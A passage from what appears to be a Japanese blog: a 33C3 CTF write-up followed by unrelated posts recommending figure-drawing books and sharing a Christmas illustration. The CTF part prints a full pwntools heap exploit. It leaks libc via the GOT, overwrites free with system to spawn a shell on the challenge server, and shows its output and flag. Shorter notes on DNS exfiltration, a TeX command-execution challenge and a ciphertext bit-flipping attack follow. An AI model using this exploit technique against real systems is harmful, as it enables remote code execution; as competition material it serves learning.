        system("chmod +x " + BIN_PATCHED)
    exit()

r = None
# e = ELF(BIN)
offset = {}
if REMOTE:
    """
    [katc@K_atc babyfengshui]$ readelf -s libc-2.19.so | grep " printf@"
       640: 0004cc50    52 FUNC    GLOBAL DEFAULT   12 printf@@GLIBC_2.0
    [katc@K_atc babyfengshui]$ readelf -s libc-2.19.so | grep " system"
      1443: 0003e3e0    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0
    [katc@K_atc babyfengshui]$ strings -tx libc-2.19.so | grep "/bin/sh$"
     15f551 /bin/sh
    """
    r = remote("78.46.224.83", 1456)
    offset = {"printf": 0x4cc50, "system": 0x3e3e0, "/bin/sh": 0x15f551}
else:
    """
    [katc@K_atc lib32]$ readelf -s libc.so.6| grep " printf@"
       647: 0004a020    42 FUNC    GLOBAL DEFAULT   13 printf@@GLIBC_2.0
    [katc@K_atc lib32]$ readelf -s libc.so.6| grep " system@"
      1460: 0003af40    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0
    [katc@K_atc lib32]$ strings -tx libc.so.6| grep "/bin/sh$"
     15ef08 /bin/sh
    """
    # r = process(BIN_PATCHED)
    r = process(BIN)
    offset = {"printf": 0x4a020, "system": 0x3af40, "/bin/sh": 0x15ef08}

count = 0
def Add(size_description, name, size_text, text):
    global count
    r.recvuntil("Action: ")
    r.sendline("0")
    r.recvuntil("size of description: ")
    r.sendline(str(size_description))
    r.recvuntil("name: ")
    r.sendline(name)
    r.recvuntil("text length: ")
    r.sendline(str(size_text))
    res = r.recv(1024)
    if res == "my l33t defenses cannot be fooled, cya!\n":
        log.error("GAME OVER: %s" % res.strip('\n'))
        exit()
    r.sendline(text)
    count += 1

def Delete(index):
    r.recvuntil("Action: ")
    r.sendline("1")
    r.recvuntil("index: ")
    r.sendline(str(index))

def Display(index):
    r.recvuntil("Action: ")
    r.sendline("2")
    r.recvuntil("index: ")
    r.sendline(str(index))
    name = r.recvline().split(':')[1][1:].strip('\n')
    description = r.recvline().split(':')[1][1:].strip('\n')
    return (name, description)

def Update(index, size_text, text):
    r.recvuntil("Action: ")
    r.sendline("3")
    r.recvuntil("index: ")
    r.sendline(str(index))
    r.recvuntil("text length: ")
    r.sendline(str(size_text))
    r.recvuntil("text: ")
    r.sendline(text)

def Exit():
    r.recvuntil("Action: ")
    r.sendline("4") 
    r.recvuntil("Bye\n")

def DisplayAll():
    for i in range(count):
        name, description = Display(i)
        print "[%2d] name = %r (%#x)" % (i, name, len(name))
        print "[%2d] description = %r (%#x)" % (i, description, len(description))

# context.log_level = 'debug'

plt = {"fgets": 0x8048500, "strchr": 0x08048560}
"""
gdb-peda$ x/i 0x08048560
   0x8048560 <strchr@plt>:  jmp    DWORD PTR ds:0x804b02c
"""
got = {"printf": 0x804b00c, "free": 0x804b010, "strchr": 0x804b02c}

# name_len = 0x7b
name_len = 0x10 # anti 20 sec limit
# bp()

log.info("=== [prepare] ===") # (1)から(3)まで
Add(0x20, "1"*name_len, 0x23, "A"*0x23) # 0
Add(0x20, "2"*name_len, 0x20, "B"*0x20) # 1
Add(0x20, "3"*name_len, 0x23, "/bin/sh -c 'ls; cat flag.txt; bash'") # 2
Delete(0)
# DisplayAll()

log.info("=== [info leak] ===") 
LEAK_FUNC = "printf"
Add(0x40, "4"*name_len, 0x90+32+8, ''.join([ # 3
    "D"*(0x90+28),          # padding
    "A"*4,                  # chunk header
    p32(got[LEAK_FUNC]),    # 
    "LEAK",
    ]))

DisplayAll()

name, description = Display(1)
print "description = %r" % description
addr = u32(description[:4])
libc_base_addr = addr - offset[LEAK_FUNC]
system_addr = libc_base_addr + offset["system"]
bin_sh_addr = libc_base_addr + offset["/bin/sh"]
print "libc base address = %#x" % libc_base_addr
print "%s() = %#x" % (LEAK_FUNC, addr)
print "system() = %#x" % system_addr
print "'/bin/sh' = %#x" % bin_sh_addr

log.info("=== [got overwrite] ===") # (4)
Update(3, 0x90+32+8, ''.join([ # 3
    "D"*(0x90+28),          # padding
    "X"*4,                  # chunk header
    # p32(got["strchr"]),     # X()
    p32(got["free"]),     # X()
    "GOTw",
    ]))
# DisplayAll()
bp()
Update(1, 10, p32(system_addr)) # X() <= system()

log.info("=== [trigger shell] ===")
Delete(2) # system("/bin/sh")

context.log_level = 'warn'
r.interactive()

20秒制限があるため、通信は手短に済まさねばならない点がポイント。

[katc@K_atc babyfengshui]$ python2 babyfengshui.py r
[+] Opening connection to 78.46.224.83 on port 1456: Done
[*] === [prepare] ===
[*] === [info leak] ===
[ 0] name = 'Add a user' (0xa)
[ 0] description = 'Delete a user' (0xd)
[ 1] name = 'LEAK' (0x4)
[ 1] description = 'P\xdc_\xf7\xf0pb\xf7\xa0Ba\xf7P|f\xf7&\x85\x04\x08`kb\xf7\x80]a\xf7V\x85\x04\x08@\\d\xf7p\xa9\\\xf7pda\xf7\xf0\xc5m\xf7 !a\xf7' (0x34)
[ 2] name = '3333333333333333' (0x10)
[ 2] description = "/bin/sh -c 'ls; cat flag.txt; bash'" (0x23)
[ 3] name = '4444444444444444' (0x10)
[ 3] description = 'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDAAAA\x0c\xb0\x04\x08LEAK' (0xb8)
description = 'P\xdc_\xf7\xf0pb\xf7\xa0Ba\xf7P|f\xf7&\x85\x04\x08`kb\xf7\x80]a\xf7V\x85\x04\x08@\\d\xf7p\xa9\\\xf7pda\xf7\xf0\xc5m\xf7 !a\xf7'
libc base address = 0xf75b1000
printf() = 0xf75fdc50
system() = 0xf75ef3e0
'/bin/sh' = 0xf7710551
[*] === [got overwrite] ===
[*] === [trigger shell] ===
babyfengshui
flag.txt
33C3_h34p_3xp3rts_c4n_gr00m_4nd_f3ng_shu1

flag: 33C3_h34p_3xp3rts_c4n_gr00m_4nd_f3ng_shu1

exfill

DNSを使ってデータを送受信していることが自明。Server.pyを丁寧に読み取ってscapyを使ってデータを変換して終了。やるだけ。

具体的には33C3 CTF 供養(Writeup) - ももいろテクノロジー に同じ。

pdfmaker

最近発覚したTeX関連の脆弱性を利用した問題。これを知っていた(出るだろうなと思ってた)ので、問題文を見ただけで解き方が分かった。これもやるだけ。

外部コマンドの実行 - TeX Wiki

具体的には33C3 CTF 供養(Writeup) - ももいろテクノロジー に同じ。

pay2pwnのアシスト内容

クレジットカード番号を入力すると、商品を購入できる。 商品はcheapという無条件に購入できるものと、flagという通常は購入できないものの2種類がある。 この場合は、cheapでいろいろ攻撃してみてあたりを付けるのが正攻法。

リクエストを飛ばすと、URLクエリにdataというパラメータがあることが分かる。 未購入の状態での2回分のアクセスのURLは次の通り。

http://78.46.224.78:5001/pay?data=5e4ec20070a567e0f3d9ab21d10633a7e5261df9e28804963b5b0554edda4f8828df361f896eb3c3706cda0474915040
http://78.46.224.78:5001/pay?data=5e4ec20070a567e0f3d9ab21d10633a7a39ae7d3a1b9fd303b5b0554edda4f8828df361f896eb3c3706cda0474915040

タイミングによらず、未購入であれば同じdataが入りそうだ。

次に2種類のクレジットカード番号(これはダミー)でcheapを買ってみたときのURLを調べた。

### 4929990005949674
http://78.46.224.78:5000/payment/callback?data=5765679f0870f4309b1a3c83588024d7c146a4104cf9d2c88187d54e1bf2760728df361f896eb3c3706cda0474915040

### 4024007103302005
http://78.46.224.78:5000/payment/callback?data=5765679f0870f4309b1a3c83588024d7c146a4104cf9d2c89559d4e580fe28ef28df361f896eb3c3706cda0474915040

注意深く見ると、次のことが分かる。

  • dataはhexエンコードされたデータ。暗号文の可能性が高い
  • 購入できたときのdataで比較すると、dataの中央部だけ一致しない。ここにクレジットカード番号が入っていると見られる

dataには購入結果が入ることが予想できるため、bit flippingという攻撃方法により、statusを改竄するように提案した。 あとはcrypto担当の新人くんが30分くらいで解いてくれた。優秀(まだCTF初めて1ヶ月位なんだぜ?)。


ほんとESPRとthe 0x90 called解いて周りと差を付けたかった…

【イラスト】人物画の良書に目を向けてみた

お絵かき練習してても伸び悩みを感じるので、ネットで解説を探し回ったが、やはりそんなのはもう知ってるんだよっていうものしが出てこないので、 美術書・技法書に目を向けていこう!という気持ちになった。 何をしようかと悩むので、手元にある本を振り返りつつ良さげな本を漁ってみた。 収穫として1冊よさげなのが見つかった!

「後発の本」と表現したものは数年以内に発売された本(再販除く)を指す。
「○○(本)をやる」という表現は、読んで主張を理解した上で模写し、納得することを指す。
【未読】は手元にない本を指す。

※美術に関しては、人によって言っていることが違うということが割とよく起こるので、誰の言うことを信じるのかを決めたほうがいいと思います。 たとえば、「いちあっぷ講座」(その記事思い出せない)と「ハム本」とで斜め角度からの肩の描き方で相反する説明があった。

人物画のおすすめ本

はっきり言って、基本的に人物画においては後発の本はあまりおすすめできない。 数冊買ったり、Amazonでプレビューできるものを見たりしたが、ここで紹介するような本の情報量に及んでいない。

人体のデッサン技法(ジャック・ハム)

人体のデッサン技法

人体のデッサン技法

ハム本とも呼ばれる。人体比率、各部位のポイントを抑えた作例があり、超入門的な内容である。 全くの絵の入門者はこの本をしっかりやるとGood。

やさしい人物画(A・ルーミス

やさしい人物画

やさしい人物画

ハム本をやり終えた時におすすめ。pixivの講座を参考にする前にこれをやれという感じ。 pixivの講座が参考にならないのではない。効率性の問題。

(あんままともにやってないとはいえない…)

【未読】アーティストのための美術解剖学―デッサン・漫画・アニメーション・彫刻など、人体表現、生体観察をするすべての人に(ヴァレリー・L. ウィンスロゥ)

描き方伝授でなく、あくまで図鑑的。内容は解剖学寄り。 pixivで講座としてこのようなことが解説されていることが多いが、この一冊ちゃんとやったほうが楽かもしれない。

【未読】Dynamic Figure Drawing: A New Approach to Drawing the Moving Figure in Deep Space and Foreshortening (Burne Hogarth)

Dynamic Figure Drawing: A New Approach to Drawing the Moving Figure in Deep Space and Foreshortening (Practical Art Books)

Dynamic Figure Drawing: A New Approach to Drawing the Moving Figure in Deep Space and Foreshortening (Practical Art Books)

美術的でなく、漫画的な描き方を重点に置いた本。アニメーター向けの本として紹介されることが多い。

日本語版があった気がするけど、何らかの理由でペーパーバック版がおすすめされていたと記憶。 ペーパーバック版は2年前くらいに復活した。 説明文が短いので英語でも問題ないはず。

ほか

行き詰まった時にこの辺やるといいよ。

スーパーマンガデッサン―作画のための考えるデッサン

スーパーマンガデッサン―作画のための考えるデッサン

模写のネタになる本

どの作品の本にするかは自分がその作品やキャラが好きかどうかでいいと思う。

電脳コイル ビジュアルコレクション

原画集。アニメーター志望者におすすめされる本。 (一時期入手不能になってたのが、数年前に再販された記憶がある)

各アニメの設定資料集・原画集

アニメにおける顔作画について徹底的に研究したいならこういう本を買うと良い。 diomediaやP.A.Worksやカラーがよく販売している。

僕は顔が全然うまく描けなかった時に『俺の脳内選択肢が、学園ラブコメを全力で邪魔している 設定資料集』をよく模写していた。 前髪が顔の角度によってどう変化するのかについてはとても勉強になった。

ヌードポーズ集

スーパー・ポーズブック  ヌード編 (コスミック・アート・グラフィック)

スーパー・ポーズブック ヌード編 (コスミック・アート・グラフィック)

この辺を徹底的に模写した漫画家の話が出たりする。(僕は未経験)

(僕のための)結論

ということで

買って、

  • やさしい人物画

をやり直そうかな(目指せ神絵師)

一日遅れのメリークリスマス(友利奈緒より)

ついに友利奈緒 Advent Calandar は25日目を迎えました!(1日遅れ)

瞑想迷走30分+線画1時間+塗り4時間で簡単なお祝いイラストを描きました。メリークリスマス!

www.pixiv.net

来年も友利奈緒をよろしくお願いしまーす

f:id:katc:20161226170035j:plain

あとがき

普段はスケッチブックに描いた線画をスキャナで取り込んでから、Photoshopで線画を抽出するのですが、 スケッチブックの方でクリーンナップを十分にやってもギザギザしてしまうのですよね。Sketch Simplification・ラフスケッチの自動線画化 を使えばアナログ線画をスムーズにできるのですが、また使い忘れてしまいました(てへぺろ

使用画材・ツール: